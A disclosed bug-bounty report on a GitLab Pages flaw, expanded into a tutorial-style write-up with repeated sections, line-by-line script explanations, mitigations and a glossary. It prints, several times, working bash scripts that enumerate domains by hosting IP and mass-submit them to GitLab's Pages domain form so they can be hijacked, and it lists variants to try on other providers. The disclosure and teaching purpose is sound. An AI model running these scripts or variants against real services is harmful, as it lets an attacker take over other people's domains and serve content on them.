Using GitLab to monitor and hijack domains in mass quantity.
GitLab Pages allowed a repository to claim an unlimited number of custom domains without verifying ownership, so an attacker could pre-register domains and automatically serve their own content once a victim pointed the domain at GitLab's IP. This enabled mass monitoring and hijacking of domains, preventing legitimate users from using them on GitLab.
Originally disclosed on HackerOne
- Triaged in 4 days
- Fixed in 4 days
- Paid in 4 days
- Disclosed after 17 days
Vulnerability Description
There is a logic flaw in how GitLab pages can set custom domains that allows an attacker to actively monitor domains and hijack them as soon as they point to 52.167.214.135. GitLab allows setting an unlimited number of domains for a single repository.
First, I wrote a fully-fledged exploit that hijacks unclaimed domains. In under 5s I managed to secure 110 domains.
#!/bin/bash
searches=(
"The resource that you are attempting to access does not exist or you don't have the necessary permissions to view it."
)
gron "https://app.securitytrails.com/api/search/by_type/ip/52.167.214.135" | fgrep "domain" | grep -o '"[^"]\+"' | cut -d '"' -f 2 > whiteknight-temp
while read domain; do
if host "$domain"> /dev/null; then
echo $domain;
fi;
done < whiteknight-temp >> domains
cat domains | uniq | sed -e 's/^/https:\/\//' >> domains-to-test
meg / domains-to-test
for str in "${searches[@]}"; do
grep --color -Hnri "$str" out/
done
while read target; do
curl --silent 'https://gitlab.com/███████████████████/███████████████████/pages/domains' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' --compressed -H 'Accept-Language: en-GB,en;q=0.5' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: _gitlab_session=███████████████████; sidebar_collapsed=false' -H 'DNT: 1' -H 'Host: gitlab.com' -H 'Pragma: no-cache' -H 'Referer: https://gitlab.com/edoverflow-gitlab/hakyll/pages/domains/new' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0' --data "utf8=✓&authenticity_token=████████████████&pages_domain[domain]=$target&pages_domain[certificate]&pages_domain[key]"
done < domains
gio trash whiteknight-temp domains domains-to-test out/
Then I modified the script to gather any domain and add it to my repository. This means that as soon as someone points their domain to 52.167.214.135, my repository will hijack their domain, and serve content on that domain. This prevents the user from even creating a repository on GitLab with that domain.
#!/bin/bash
IPS=(
# GitLab
"52.167.214.135"
# GitHub
"192.30.252.153"
"192.30.252.154"
# Shopify
"23.227.38.32"
)
for ip in "${IPS[@]}"; do
gron "https://app.securitytrails.com/api/search/by_type/ip/$ip" | fgrep "domain" | grep -o '"[^"]\+"' | cut -d '"' -f 2 > whiteknight-temp
done
while read domain; do
if host "$domain"> /dev/null; then
echo $domain;
fi;
done < whiteknight-temp >> domains
while read target; do
curl --silent 'https://gitlab.com/███████████████████/███████████████████/pages/domains' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' --compressed -H 'Accept-Language: en-GB,en;q=0.5' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: _gitlab_session=███████████████████; sidebar_collapsed=false' -H 'DNT: 1' -H 'Host: gitlab.com' -H 'Pragma: no-cache' -H 'Referer: https://gitlab.com/edoverflow-gitlab/hakyll/pages/domains/new' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0' --data "utf8=✓&authenticity_token=███████████████████&pages_domain[domain]=$target&pages_domain[certificate]&pages_domain[key]"
done < domains
gio trash whiteknight-temp domains domains-to-test out/
Please note that you could just extract a bunch of domains from the Alexa or randomly from the web, I just use securitytrails.com to demonstrate the issue without affecting your users.
Proof of concept
With my colleague's permission, I asked them to set an A record for their personal domain (http://danfield.photography/) pointing to 52.167.214.135. They set the A record after I had added their domain to my repository. After a couple of minutes, their domain was serving my repository's content.
Mitigation
Since this is a logic flaw, there will be multiple ways to mitigate the issue.
- You could restrict repositories to only a single custom domain — this is what GitHub does.
- Require users to place a randomly generated string as a TXT record on their domain when confirming ownership of the domain.
- Not store the domain until it actually points to
52.167.214.135— currently you store any domain pointing to various other services and IPs.
Impact
GitLab allows unrestricted mass-scale monitoring and claiming of domains. This attack can be performed in mere seconds.
Context
GitLab Pages lets a repository publish a static site, and a project owner can attach a custom domain to it. The domain is configured through the project's Pages settings, at a path of the form /…/…/pages/domains, and the domain is stored against the repository before any proof that the person adding it controls it. The report describes a logic flaw in that flow: a repository can claim an unlimited number of custom domains, and a domain is accepted and stored even when it does not yet point at GitLab's Pages address.
GitLab Pages serves custom domains from [redacted]. Because the domain is bound to a repository at the moment it is submitted, whoever submits a domain first holds it. If the real owner later points their DNS at that address, the repository that already claimed the domain serves its content there instead.
Setup
The researcher used an authenticated GitLab account and its session cookie to drive the Pages domain form directly, rather than through the browser UI. The tooling in the scripts is:
gronagainst the SecurityTrails API, to enumerate domains by IP address.host, to check whether a domain resolves.meg, to fetch many URLs in bulk.grep, to search the fetched output for a known GitLab error string.curl, to submit the domain form.gio trash, to clean up temporary files.
The session cookie, the CSRF token and the project path in the requests are redacted in the report. The scripts reference a project under the researcher's account (edoverflow-gitlab/hakyll) in the Referer header.
Finding it
GitLab Pages allows setting an unlimited number of custom domains for a single repository, and a domain can be added before it points at [redacted]. That combination means an attacker can pre-register domains in bulk and wait: as soon as a domain's owner points it at the Pages IP, the attacker's repository takes over serving content on it. The researcher also notes that this prevents the legitimate user from creating a repository on GitLab with that domain, because the domain is already claimed.
Exploitation
Step 1: find unclaimed domains pointing at the Pages IP
The first script enumerates domains whose DNS points at [redacted], checks which of them resolve, fetches them, and looks for GitLab's "not found or no permission" page. A domain that returns that page is pointing at GitLab Pages but is not yet bound to any project, which makes it claimable.
#!/bin/bash
searches=(
"The resource that you are attempting to access does not exist or you don't have the necessary permissions to view it."
)
gron "https://app.securitytrails.com/api/search/by_type/ip/[redacted]" | fgrep "domain" | grep -o '"[^"]\+"' | cut -d '"' -f 2 > whiteknight-temp
while read domain; do
if host "$domain"> /dev/null; then
echo $domain;
fi;
done < whiteknight-temp >> domains
cat domains | uniq | sed -e 's/^/https:\/\//' >> domains-to-test
meg / domains-to-test
for str in "${searches[@]}"; do
grep --color -Hnri "$str" out/
done
while read target; do
curl --silent 'https://gitlab.com/███████████████████/███████████████████/pages/domains' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' --compressed -H 'Accept-Language: en-GB,en;q=0.5' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: _gitlab_session=███████████████████; sidebar_collapsed=false' -H 'DNT: 1' -H 'Host: gitlab.com' -H 'Pragma: no-cache' -H 'Referer: https://gitlab.com/edoverflow-gitlab/hakyll/pages/domains/new' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0' --data "utf8=✓&authenticity_token=████████████████&pages_domain[domain]=$target&pages_domain[certificate]&pages_domain[key]"
done < domains
gio trash whiteknight-temp domains domains-to-test out/
The gron call pulls the domain list for the Pages IP out of SecurityTrails and reduces it to bare domain names. The host loop keeps only domains that resolve. meg fetches each domain over HTTPS, and the grep loop searches the saved responses for the GitLab error string, which identifies domains that reach Pages but have no project bound to them. The curl loop then submits each such domain to the Pages domains endpoint as a form POST, with pages_domain[domain] set to the target and the CSRF token and session cookie taken from the authenticated session. The report states that this secured 110 domains in under 5 seconds.
Step 2: claim any domain and wait for it to be pointed at the IP
The second script widens the net. Instead of only domains already pointing at GitLab, it collects domains pointing at several hosting IPs, including GitLab, GitHub and Shopify, and adds every one of them to the repository. The claim is made before the domain points anywhere near GitLab, so the attacker is positioned in advance.
#!/bin/bash
IPS=(
# GitLab
"[redacted]"
# GitHub
"[redacted]"
"[redacted]"
# Shopify
"[redacted]"
)
for ip in "${IPS[@]}"; do
gron "https://app.securitytrails.com/api/search/by_type/ip/$ip" | fgrep "domain" | grep -o '"[^"]\+"' | cut -d '"' -f 2 > whiteknight-temp
done
while read domain; do
if host "$domain"> /dev/null; then
echo $domain;
fi;
done < whiteknight-temp >> domains
while read target; do
curl --silent 'https://gitlab.com/███████████████████/███████████████████/pages/domains' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' --compressed -H 'Accept-Language: en-GB,en;q=0.5' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: _gitlab_session=███████████████████; sidebar_collapsed=false' -H 'DNT: 1' -H 'Host: gitlab.com' -H 'Pragma: no-cache' -H 'Referer: https://gitlab.com/edoverflow-gitlab/hakyll/pages/domains/new' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0' --data "utf8=✓&authenticity_token=███████████████████&pages_domain[domain]=$target&pages_domain[certificate]&pages_domain[key]"
done < domains
gio trash whiteknight-temp domains domains-to-test out/
The difference from the first script is the IPS array and the loop that queries SecurityTrails once per IP. Every domain found is submitted to the same endpoint with the same form fields. The effect is that the repository holds a large set of domains in advance; when any owner later points their DNS at [redacted], the attacker's repository serves content on that domain, and the legitimate owner cannot create a GitLab project with it.
The researcher notes that the domain source does not have to be SecurityTrails: a list from Alexa or scraped from the web would work equally well. SecurityTrails was used to demonstrate the issue without affecting GitLab's users.
Step 3: confirm the hijack
With a colleague's permission, the researcher asked them to set an A record for their personal domain, http://danfield.photography/, pointing to [redacted]. The A record was set after the domain had already been added to the researcher's repository. After a couple of minutes, the domain was serving the repository's content.
Root cause
The flaw is in the domain-claiming logic of GitLab Pages. Two design decisions combine:
- A repository may hold an unlimited number of custom domains, so one account can claim domains at scale.
- A domain is stored against the repository without any proof of ownership and without requiring that it currently points at
[redacted]. The report notes that GitLab currently stores any domain pointing to various other services and IPs.
Because the binding is first-come-first-served and happens before DNS is checked, the attacker wins the race simply by submitting the domain first. The report does not describe any server-side check that would have stopped the submission.
Impact
An attacker can monitor domains in mass quantity and claim them in advance, then serve their own content on any of those domains as soon as the owner points it at the Pages IP. The report describes this as unrestricted mass-scale monitoring and claiming of domains, performed in mere seconds. It also notes that the claim blocks the legitimate user from creating a GitLab repository with that domain. The severity is high and the weakness is classified as a business logic error.
Fix
The report proposes three mitigations, without stating which was adopted:
- Restrict repositories to a single custom domain, as GitHub does.
- Require users to place a randomly generated string as a TXT record on the domain when confirming ownership.
- Do not store the domain until it actually points at
[redacted]; currently any domain pointing at various other services and IPs is stored.
Variants to test
- Other Pages-style hosting providers. Enumerate domains pointing at the provider's serving IP and check whether a domain can be claimed before it points there. A positive result is a domain that can be added to a project while its DNS still points elsewhere, and that later serves the project's content once the A record is changed.
- Unlimited domain slots. Try adding many custom domains to a single project. A positive result is that the form accepts them all without a cap or a rate limit.
- Ownership verification bypass. Submit a domain without any TXT record or other proof. A positive result is that the domain is stored and becomes active once DNS points at the provider.
- Pre-claiming a domain that is not yet on the provider. Add a domain that currently points at a different host, then change its DNS to the provider's IP. A positive result is that the pre-claimed project serves content on the domain, and the legitimate owner cannot claim it.
Hunting notes
This kind of bug tends to sit in features that bind an external identifier (a domain, a hostname, a bucket name) to an account before verifying that the requester controls it. During recon, look for settings pages that accept a hostname and store it immediately, and for documentation that tells users to point DNS at a fixed IP. A useful signal is a provider error page served on a domain that is already pointed at the provider but not yet bound to a project: it shows the domain is claimable. The researcher demonstrated impact by pre-claiming a colleague's real domain and showing that it served the repository's content after the A record was set, which turns a theoretical logic flaw into a concrete hijack.
What happened, in plain words
GitLab is a website where people store and share code. One of its features, called GitLab Pages, lets you publish a simple website straight from a code project (a "repository"). You can also attach your own domain name, like example.com, to that website, so visitors reach your project through your own address instead of a GitLab address.
A domain name is the human-friendly address you type in a browser. Behind it, a DNS record tells the internet which server that name should go to. One common record type is an "A record", which maps a name to a numeric server address (an IP address).
GitLab Pages serves custom domains from the server address [redacted]. The researcher found a logic flaw in the way GitLab lets a project claim a custom domain. "Logic flaw" means the software does exactly what it was programmed to do, but the rules themselves are wrong, so the feature can be misused. Here the rules were:
- a single repository can claim an unlimited number of custom domains;
- a domain is accepted and stored against the repository before anyone proves they control it, and before the domain even points at GitLab's Pages address.
Because the first person to submit a domain keeps it, an attacker can submit many domains in advance and simply wait. When the real owner later points their domain at [redacted], the attacker's repository is already holding that name, so the attacker's content is served there. The real owner is also blocked from using that domain on GitLab themselves, because it is already taken.
The researcher wrote scripts to do this at scale. In under 5 seconds, one run secured 110 domains. With a colleague's permission, the researcher then showed the hijack working on the colleague's real personal domain.
Context
GitLab Pages lets a repository publish a static site, and a project owner can attach a custom domain to it. The domain is configured through the project's Pages settings, at a path of the form /…/…/pages/domains. The domain is stored against the repository before any proof that the person adding it controls it.
The report describes a logic flaw in that flow: a repository can claim an unlimited number of custom domains, and a domain is accepted and stored even when it does not yet point at GitLab's Pages address.
GitLab Pages serves custom domains from [redacted]. Because the domain is bound to a repository at the moment it is submitted, whoever submits a domain first holds it. If the real owner later points their DNS at that address, the repository that already claimed the domain serves its content there instead.
Setup
The researcher used a logged-in GitLab account and its session cookie to drive the Pages domain form directly, rather than clicking through the browser interface.
A cookie is a small piece of data your browser stores for a website and sends back with every request, so the site can remember who you are. A session cookie is the one that says "this request comes from a logged-in user". If someone else has your session cookie, they can act as you without knowing your password.
A CSRF token is a secret value embedded in a form. The server checks it on submission to make sure the request really came from the site's own page and not from some other site trying to submit forms on your behalf. CSRF stands for Cross-Site Request Forgery.
The tooling in the scripts is:
gronagainst the SecurityTrails API, to enumerate domains by IP address.host, to check whether a domain resolves.meg, to fetch many URLs in bulk.grep, to search the fetched output for a known GitLab error string.curl, to submit the domain form.gio trash, to clean up temporary files.
An API is a way for one program to talk to another over the internet, usually exchanging data in a structured format instead of web pages meant for humans. SecurityTrails is a service that keeps records about domains and the IP addresses they point to; its API lets a script ask "which domains point at this IP?".
host is a command-line tool that asks DNS what a domain name resolves to. meg is a tool that downloads many URLs at once. grep searches text for a pattern. curl sends HTTP requests from the command line. gio trash moves files to the desktop trash instead of deleting them outright.
The session cookie, the CSRF token and the project path in the requests are redacted in the report. The scripts reference a project under the researcher's account (edoverflow-gitlab/hakyll) in the Referer header. The Referer header is a standard HTTP header in which the browser tells the server which page the request came from.
Finding it
GitLab Pages allows setting an unlimited number of custom domains for a single repository, and a domain can be added before it points at [redacted]. That combination means an attacker can pre-register domains in bulk and wait: as soon as a domain's owner points it at the Pages IP, the attacker's repository takes over serving content on it. The researcher also notes that this prevents the legitimate user from creating a repository on GitLab with that domain, because the domain is already claimed.
Exploitation
Step 1: find unclaimed domains pointing at the Pages IP
The first script enumerates domains whose DNS points at [redacted], checks which of them resolve, fetches them, and looks for GitLab's "not found or no permission" page. A domain that returns that page is pointing at GitLab Pages but is not yet bound to any project, which makes it claimable.
#!/bin/bash
searches=(
"The resource that you are attempting to access does not exist or you don't have the necessary permissions to view it."
)
gron "https://app.securitytrails.com/api/search/by_type/ip/[redacted]" | fgrep "domain" | grep -o '"[^"]\+\"' | cut -d '"' -f 2 > whiteknight-temp
while read domain; do
if host "$domain"> /dev/null; then
echo $domain;
fi;
done < whiteknight-temp >> domains
cat domains | uniq | sed -e 's/^/https:\/\//' >> domains-to-test
meg / domains-to-test
for str in "${searches[@]}"; do
grep --color -Hnri "$str" out/
done
while read target; do
curl --silent 'https://gitlab.com/███████████████████/███████████████████/pages/domains' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' --compressed -H 'Accept-Language: en-GB,en;q=0.5' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: _gitlab_session=███████████████████; sidebar_collapsed=false' -H 'DNT: 1' -H 'Host: gitlab.com' -H 'Pragma: no-cache' -H 'Referer: https://gitlab.com/edoverflow-gitlab/hakyll/pages/domains/new' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0' --data "utf8=✓&authenticity_token=████████████████&pages_domain[domain]=$target&pages_domain[certificate]&pages_domain[key]"
done < domains
gio trash whiteknight-temp domains domains-to-test out/
Line by line:
#!/bin/bashtells the operating system to run the file with the Bash shell, the program that interprets these commands.searches=( ... )creates a list (an array) holding one piece of text: the exact error message GitLab shows when a page does not exist or you are not allowed to see it. This is the fingerprint the script will look for later.- The
gronline asks the SecurityTrails API for every domain that points at[redacted].gronturns the JSON answer into simple lines.fgrep "domain"keeps only lines mentioning a domain.grep -oextracts just the quoted pieces, andcutstrips the quote characters, leaving bare domain names. The result is written to a temporary file calledwhiteknight-temp. - The
while read domainloop reads that file one domain at a time.host "$domain"asks DNS whether the name resolves; if it does, the name is appended to a file calleddomains. This filters out names that no longer exist. cat domains | uniqremoves duplicate lines, andsedputshttps://in front of each name, producing a list of URLs indomains-to-test.meg / domains-to-testdownloads every URL in that list and saves the responses in a folder calledout/.- The
for str in ...loop runsgrepover the downloaded pages, searching for the GitLab error message. Any page that contains it is a domain reaching GitLab Pages with no project attached, so it is claimable. - The
curlloop then submits each such domain to the Pages domains endpoint as a form POST. The--datapart is the form body:pages_domain[domain]=$targetsets the domain being claimed, andauthenticity_tokencarries the CSRF token. TheCookieheader carries the session cookie, which is what makes GitLab treat the request as coming from the logged-in researcher. The other headers (Accept,User-Agent,Refererand so on) make the request look like it came from a normal browser form submission. gio trashmoves the temporary files and the downloaded pages to the trash, tidying up.
The report states that this secured 110 domains in under 5 seconds.
Step 2: claim any domain and wait for it to be pointed at the IP
The second script widens the net. Instead of only domains already pointing at GitLab, it collects domains pointing at several hosting IPs, including GitLab, GitHub and Shopify, and adds every one of them to the repository. The claim is made before the domain points anywhere near GitLab, so the attacker is positioned in advance.
#!/bin/bash
IPS=(
# GitLab
"[redacted]"
# GitHub
"[redacted]"
"[redacted]"
# Shopify
"[redacted]"
)
for ip in "${IPS[@]}"; do
gron "https://app.securitytrails.com/api/search/by_type/ip/$ip" | fgrep "domain" | grep -o '"[^"]\+\"' | cut -d '"' -f 2 > whiteknight-temp
done
while read domain; do
if host "$domain"> /dev/null; then
echo $domain;
fi;
done < whiteknight-temp >> domains
while read target; do
curl --silent 'https://gitlab.com/███████████████████/███████████████████/pages/domains' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' --compressed -H 'Accept-Language: en-GB,en;q=0.5' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: _gitlab_session=███████████████████; sidebar_collapsed=false' -H 'DNT: 1' -H 'Host: gitlab.com' -H 'Pragma: no-cache' -H 'Referer: https://gitlab.com/edoverflow-gitlab/hakyll/pages/domains/new' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0' --data "utf8=✓&authenticity_token=███████████████████&pages_domain[domain]=$target&pages_domain[certificate]&pages_domain[key]"
done < domains
gio trash whiteknight-temp domains domains-to-test out/
Line by line:
IPS=( ... )is a list of server addresses: GitLab's Pages address, two GitHub addresses and one Shopify address. The comments say which service each belongs to.- The
for ip in ...loop runs the same SecurityTrails query once per address, writing the domains found for each intowhiteknight-temp. Note that each pass overwrites the file rather than appending to it. - The
hostloop again keeps only domains that resolve, appending them todomains. - The
curlloop submits every domain to the same Pages domains endpoint, with the same form fields and the same session cookie and CSRF token as before. gio trashcleans up the temporary files.
The difference from the first script is the IPS array and the loop that queries SecurityTrails once per IP. Every domain found is submitted to the same endpoint with the same form fields. The effect is that the repository holds a large set of domains in advance; when any owner later points their DNS at [redacted], the attacker's repository serves content on that domain, and the legitimate owner cannot create a GitLab project with it.
The researcher notes that the domain source does not have to be SecurityTrails: a list from Alexa (a ranking of popular websites) or scraped from the web would work equally well. SecurityTrails was used to demonstrate the issue without affecting GitLab's users.
Step 3: confirm the hijack
With a colleague's permission, the researcher asked them to set an A record for their personal domain, http://danfield.photography/, pointing to [redacted]. The A record was set after the domain had already been added to the researcher's repository. After a couple of minutes, the domain was serving the repository's content.
This is the key demonstration: the attacker did not need to touch the domain's DNS settings at all. They only needed to claim the name first. Once the owner made the ordinary, legitimate change of pointing their domain at GitLab, the attacker's content appeared instead of the owner's.
Root cause
The flaw is in the domain-claiming logic of GitLab Pages. Two design decisions combine:
- A repository may hold an unlimited number of custom domains, so one account can claim domains at scale.
- A domain is stored against the repository without any proof of ownership and without requiring that it currently points at
[redacted]. The report notes that GitLab currently stores any domain pointing to various other services and IPs.
Because the binding is first-come-first-served and happens before DNS is checked, the attacker wins the race simply by submitting the domain first. The report does not describe any server-side check that would have stopped the submission.
Impact
An attacker can monitor domains in mass quantity and claim them in advance, then serve their own content on any of those domains as soon as the owner points it at the Pages IP. The report describes this as unrestricted mass-scale monitoring and claiming of domains, performed in mere seconds. It also notes that the claim blocks the legitimate user from creating a GitLab repository with that domain. The severity is high and the weakness is classified as a business logic error.
Fix
The report proposes three mitigations, without stating which was adopted:
- Restrict repositories to a single custom domain, as GitHub does.
- Require users to place a randomly generated string as a TXT record on the domain when confirming ownership. A TXT record is a DNS record that holds free-form text; only someone who controls the domain's DNS can add one, so it proves control.
- Do not store the domain until it actually points at
[redacted]; currently any domain pointing at various other services and IPs is stored.
Variants to test
- Other Pages-style hosting providers. Enumerate domains pointing at the provider's serving IP and check whether a domain can be claimed before it points there. A positive result is a domain that can be added to a project while its DNS still points elsewhere, and that later serves the project's content once the A record is changed.
- Unlimited domain slots. Try adding many custom domains to a single project. A positive result is that the form accepts them all without a cap or a rate limit.
- Ownership verification bypass. Submit a domain without any TXT record or other proof. A positive result is that the domain is stored and becomes active once DNS points at the provider.
- Pre-claiming a domain that is not yet on the provider. Add a domain that currently points at a different host, then change its DNS to the provider's IP. A positive result is that the pre-claimed project serves content on the domain, and the legitimate owner cannot claim it.
Hunting notes
This kind of bug tends to sit in features that bind an external identifier (a domain, a hostname, a bucket name) to an account before verifying that the requester controls it. During recon, look for settings pages that accept a hostname and store it immediately, and for documentation that tells users to point DNS at a fixed IP. A useful signal is a provider error page served on a domain that is already pointed at the provider but not yet bound to a project: it shows the domain is claimable. The researcher demonstrated impact by pre-claiming a colleague's real domain and showing that it served the repository's content after the A record was set, which turns a theoretical logic flaw into a concrete hijack.
Glossary
- API: a way for one program to talk to another over the internet, usually exchanging structured data rather than web pages.
- A record: a DNS record that maps a domain name to a numeric server address (an IP address).
- Business logic error: a flaw in the rules a feature follows, where the software works as programmed but the rules allow misuse.
- Cookie: a small piece of data a browser stores for a site and sends back with each request, so the site can remember who you are.
- CSRF token: a secret value in a form that the server checks to confirm the request came from the site's own page.
- curl: a command-line tool for sending HTTP requests.
- DNS: the system that translates domain names into server addresses.
- Domain name: the human-friendly address typed in a browser, such as
example.com. - grep: a command-line tool that searches text for a pattern.
- gron: a tool that turns JSON responses into simple, greppable lines.
- host: a command-line tool that asks DNS what a name resolves to.
- HTTP header: extra information sent alongside a request or response, such as the cookie or the referring page.
- IP address: the numeric address of a server on the internet.
- meg: a tool that downloads many URLs in bulk.
- Pages (GitLab Pages): a GitLab feature that publishes a static website from a repository, optionally on a custom domain.
- POST: an HTTP request method used to submit data, such as a form.
- Referer: an HTTP header telling the server which page a request came from.
- Repository: a project on GitLab that holds code and files.
- Session cookie: the cookie that identifies a logged-in user; anyone holding it can act as that user.
- TXT record: a DNS record holding free-form text, often used to prove control of a domain.
- User-Agent: an HTTP header identifying the browser or client making the request.